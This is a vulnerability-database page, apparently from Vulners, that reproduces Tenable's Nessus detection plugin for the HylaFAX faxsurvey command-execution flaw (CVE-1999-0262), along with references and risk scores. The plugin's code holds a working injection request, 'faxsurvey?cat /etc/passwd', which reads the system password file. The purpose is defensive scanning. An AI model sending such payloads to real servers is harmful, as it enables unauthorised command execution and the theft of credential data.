Lucene search
K

HylaFAX faxsurvey Arbitrary Command Execution

🗓️ 22 Jun 1999 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 56 Views

HylaFAX faxsurvey allows unauthorized command execution via unsanitized query strings.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Check Point Advisories
Hylafax Faxsurvey Remote Command Execution (CVE-1999-0262)
4 Aug 199800:00
checkpoint_advisories
CVE
CVE-1999-0262
29 Sep 199904:00
cve
Cvelist
CVE-1999-0262
29 Sep 199904:00
cvelist
EUVD
EUVD-1999-0262
7 Oct 202500:30
euvd
NVD
CVE-1999-0262
4 Aug 199804:00
nvd
RedhatCVE
CVE-1999-0262
7 Jan 202609:40
redhatcve
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#


include('deprecated_nasl_level.inc');
include('compat.inc');


if(description)
{
 script_id(10067);
 script_version("1.45");
 script_cve_id("CVE-1999-0262");
 script_bugtraq_id(2056);

 script_name(english:"HylaFAX faxsurvey Arbitrary Command Execution");
 script_summary(english:"Checks if faxsurvey is vulnerable");
 
 script_set_attribute( attribute:"synopsis", value:
"A web application on the remote host has an arbitrary command
execution vulnerability." );
 script_set_attribute( attribute:"description",  value:
"The 'faxsurvey' CGI does not sanitize input to the query string.  A
remote attacker could exploit this to execute arbitrary commands." );
 script_set_attribute(
   attribute:"see_also",
   value:"https://seclists.org/bugtraq/1998/Aug/2"
 );
 script_set_attribute(
   attribute:"solution", 
   value:"Remove this CGI from the server."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"plugin_publication_date", value: "1999/06/22");
 script_set_attribute(attribute:"vuln_publication_date", value: "1998/08/04");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_GATHER_INFO);
 script_family(english:"CGI abuses");

 script_copyright(english:"This script is Copyright (C) 1999-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

 script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");

 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
 req = string(dir, "/faxsurvey?cat%20/etc/passwd");
 result = http_send_recv3(method:"GET", item:req, port:port);
 if (isnull(result)) exit(0);

 if(egrep(pattern:".*root:.*:0:[01]:.*", string:result[2]))
 {
   if (report_verbosity > 0)
   {
     result[2] = data_protection::redact_etc_passwd(output:result[2]);
     report = string(
       "\n",
       "Nessus exploited this issue by requesting the following URL :\n\n",
       "  ", build_url(qs:req, port:port), "\n"
     );

     if (report_verbosity > 1)
       report += string("\nWhich yielded :\n\n", result[2], "\n");

     security_hole(port:port, extra:report);
   }
   else security_hole(port);

   exit(0);
 }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jan 2021 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.05383
56